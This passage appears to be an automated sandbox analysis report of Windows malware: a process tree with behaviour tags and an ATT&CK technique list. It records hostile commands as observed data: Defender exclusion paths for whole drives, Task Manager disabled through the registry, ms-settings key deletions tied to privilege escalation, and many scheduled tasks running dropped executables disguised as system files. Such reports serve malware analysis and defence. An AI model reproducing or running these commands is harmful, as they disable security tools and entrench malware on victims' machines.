      - C:\Windows\system32\findstr.exe
        
        findstr /c:"S-1-16-12288"
        6⤵
        
        PID:4344
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Classes\ms-settings" /f
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1672
      - C:\Windows\system32\reg.exe
        
        reg delete "HKCU\Software\Classes\ms-settings" /f
        6⤵
        
        PID:3792
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c whoami /groups | findstr /c:"S-1-5-32-544"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4412
      - C:\Windows\system32\whoami.exe
        
        whoami /groups
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1368
      - C:\Windows\system32\findstr.exe
        
        findstr /c:"S-1-5-32-544"
        6⤵
        
        PID:3844
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Odmkkbkpof.vbs"
    3⤵
    - Checks computer location settings
    - Checks whether UAC is enabled
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:1428
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c whoami /groups | findstr /c:"S-1-16-12288"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4612
    - - C:\Windows\system32\whoami.exe
        
        whoami /groups
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4388
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"S-1-16-12288"
        5⤵
        
        PID:2188
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Classes\ms-settings" /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2716
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCU\Software\Classes\ms-settings" /f
        5⤵
        
        PID:4692
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Odmkkbkpof.vbs"
    3⤵
    - Checks computer location settings
    - Checks whether UAC is enabled
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:3288
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c whoami /groups | findstr /c:"S-1-16-12288"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2628
    - - C:\Windows\system32\whoami.exe
        
        whoami /groups
        5⤵
        
        PID:4104
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"S-1-16-12288"
        5⤵
        
        PID:4784
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Classes\ms-settings" /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3576
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCU\Software\Classes\ms-settings" /f
        5⤵
        
        PID:2976
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Odmkkbkpof.vbs"
    3⤵
    - Checks computer location settings
    - Checks whether UAC is enabled
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:1060
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c whoami /groups | findstr /c:"S-1-16-12288"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1260
    - - C:\Windows\system32\whoami.exe
        
        whoami /groups
        5⤵
        
        PID:2964
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"S-1-16-12288"
        5⤵
        
        PID:3524
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Classes\ms-settings" /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2824
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCU\Software\Classes\ms-settings" /f
        5⤵
        
        PID:3596
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Odmkkbkpof.vbs"
    3⤵
    - Checks computer location settings
    - Checks whether UAC is enabled
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:3944
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c whoami /groups | findstr /c:"S-1-16-12288"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2584
    - - C:\Windows\system32\whoami.exe
        
        whoami /groups
        5⤵
        
        PID:3932
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"S-1-16-12288"
        5⤵
        
        PID:2580
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Classes\ms-settings" /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5040
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCU\Software\Classes\ms-settings" /f
        5⤵
        
        PID:3192
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Odmkkbkpof.vbs"
    3⤵
    - Checks computer location settings
    - Checks whether UAC is enabled
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:2468
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c whoami /groups | findstr /c:"S-1-16-12288"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4124
    - - C:\Windows\system32\whoami.exe
        
        whoami /groups
        5⤵
        
        PID:4836
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"S-1-16-12288"
        5⤵
        
        PID:3160
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Classes\ms-settings" /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4592
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCU\Software\Classes\ms-settings" /f
        5⤵
        
        PID:3184
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Odmkkbkpof.vbs"
    3⤵
    - Checks computer location settings
    - Checks whether UAC is enabled
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:3428
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c whoami /groups | findstr /c:"S-1-16-12288"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2672
    - - C:\Windows\system32\whoami.exe
        
        whoami /groups
        5⤵
        
        PID:4132
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"S-1-16-12288"
        5⤵
        
        PID:3880
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\Software\Classes\ms-settings" /f
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4888
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCU\Software\Classes\ms-settings" /f
        5⤵
        
        PID:4200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4840
- - C:\Users\Admin\AppData\Local\Temp\80394704.exe
    "C:\Users\Admin\AppData\Local\Temp\80394704.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4900
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\portcontainerbrowserReviewcrt\3hivlB0l7BxsBRAk.vbe"
      4⤵
      Checks computer location settings
      Executes a VBScript file via the Windows Script Host.
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5072
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\portcontainerbrowserReviewcrt\w73SUENfwqG9o2f9Pm.bat" "
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1064
      - C:\portcontainerbrowserReviewcrt\portagenthost.exe
        
        "C:\portcontainerbrowserReviewcrt\portagenthost.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Reads the TCP/IP host and domain name from the registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5044
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/portcontainerbrowserReviewcrt/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3224
        
        C:\Program Files\Java\jdk-1.8\jre\legal\jdk\TextInputHost.exe
        
        "C:\Program Files\Java\jdk-1.8\jre\legal\jdk\TextInputHost.exe"
        7⤵
        Executes dropped EXE
        
        PID:5376
      - C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:6196

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Security\BrowserCore\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Security\BrowserCore\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 10 /tr "'C:\portcontainerbrowserReviewcrt\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\portcontainerbrowserReviewcrt\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\portcontainerbrowserReviewcrt\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 8 /tr "'C:\portcontainerbrowserReviewcrt\TextInputHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3524

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\portcontainerbrowserReviewcrt\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2128

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 12 /tr "'C:\portcontainerbrowserReviewcrt\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\services.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2640

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4772

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\Start Menu\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:384

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\All Users\Start Menu\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\Start Menu\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\services.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:204

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2692

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Mail\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Mail\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1608

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 13 /tr "'C:\portcontainerbrowserReviewcrt\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\portcontainerbrowserReviewcrt\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 7 /tr "'C:\portcontainerbrowserReviewcrt\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3672

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 8 /tr "'C:\portcontainerbrowserReviewcrt\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4968

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\portcontainerbrowserReviewcrt\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1512

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 13 /tr "'C:\portcontainerbrowserReviewcrt\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:796

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 7 /tr "'C:\Program Files\Java\jdk-1.8\jre\legal\jdk\TextInputHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Program Files\Java\jdk-1.8\jre\legal\jdk\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 6 /tr "'C:\Program Files\Java\jdk-1.8\jre\legal\jdk\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2464

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3320

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1820

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1920

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WUDFHostW" /sc MINUTE /mo 14 /tr "'C:\Users\Public\Music\WUDFHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WUDFHost" /sc ONLOGON /tr "'C:\Users\Public\Music\WUDFHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1392

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WUDFHostW" /sc MINUTE /mo 13 /tr "'C:\Users\Public\Music\WUDFHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4492

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 8 /tr "'C:\Users\Default\AppData\Roaming\Microsoft\Windows\MoUsoCoreWorker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Users\Default\AppData\Roaming\Microsoft\Windows\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 11 /tr "'C:\Users\Default\AppData\Roaming\Microsoft\Windows\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:956

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:2188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Program Files\WindowsPowerShell\Modules\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\Modules\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Program Files\WindowsPowerShell\Modules\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1900

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Common Files\System\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\System\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Common Files\System\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'C:\Windows\SchCache\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\SchCache\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:384

C:\Users\Public\Music\WUDFHost.exe
"C:\Users\Public\Music\WUDFHost.exe"
1⤵
- Executes dropped EXE
PID:1692

C:\Users\All Users\Start Menu\fontdrvhost.exe
"C:\Users\All Users\Start Menu\fontdrvhost.exe"
1⤵
- Executes dropped EXE
PID:4332

C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\csrss.exe
"C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\csrss.exe"
1⤵
- Executes dropped EXE
PID:3840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 7 /tr "'C:\Windows\SchCache\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4968

C:\Program Files\Java\jdk-1.8\jre\legal\jdk\TextInputHost.exe
"C:\Program Files\Java\jdk-1.8\jre\legal\jdk\TextInputHost.exe"
1⤵
- Executes dropped EXE
PID:5124

C:\portcontainerbrowserReviewcrt\SearchApp.exe
"C:\portcontainerbrowserReviewcrt\SearchApp.exe"
1⤵
- Executes dropped EXE
PID:5132

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\sppsvc.exe
"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\sppsvc.exe"
1⤵
- Executes dropped EXE
PID:5408

C:\Program Files\WindowsPowerShell\Modules\conhost.exe
"C:\Program Files\WindowsPowerShell\Modules\conhost.exe"
1⤵
- Executes dropped EXE
PID:5524

C:\portcontainerbrowserReviewcrt\TextInputHost.exe
"C:\portcontainerbrowserReviewcrt\TextInputHost.exe"
1⤵
- Executes dropped EXE
PID:5544

C:\Recovery\WindowsRE\services.exe
"C:\Recovery\WindowsRE\services.exe"
1⤵
- Executes dropped EXE
PID:5944

C:\Program Files\Windows Security\BrowserCore\conhost.exe
"C:\Program Files\Windows Security\BrowserCore\conhost.exe"
1⤵
- Executes dropped EXE
PID:5980

C:\portcontainerbrowserReviewcrt\Idle.exe
"C:\portcontainerbrowserReviewcrt\Idle.exe"
1⤵
- Executes dropped EXE
PID:6344

C:\Users\Default\AppData\Roaming\Microsoft\Windows\MoUsoCoreWorker.exe
"C:\Users\Default\AppData\Roaming\Microsoft\Windows\MoUsoCoreWorker.exe"
1⤵
- Executes dropped EXE
PID:6352

C:\Program Files (x86)\Windows Mail\dllhost.exe
"C:\Program Files (x86)\Windows Mail\dllhost.exe"
1⤵
- Executes dropped EXE
PID:6360

C:\portcontainerbrowserReviewcrt\Registry.exe
"C:\portcontainerbrowserReviewcrt\Registry.exe"
1⤵
- Executes dropped EXE
PID:6376

C:\Program Files (x86)\Common Files\System\csrss.exe
"C:\Program Files (x86)\Common Files\System\csrss.exe"
1⤵
- Executes dropped EXE
PID:6560

C:\Windows\SchCache\wininit.exe
"C:\Windows\SchCache\wininit.exe"
1⤵
- Executes dropped EXE
PID:6612

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

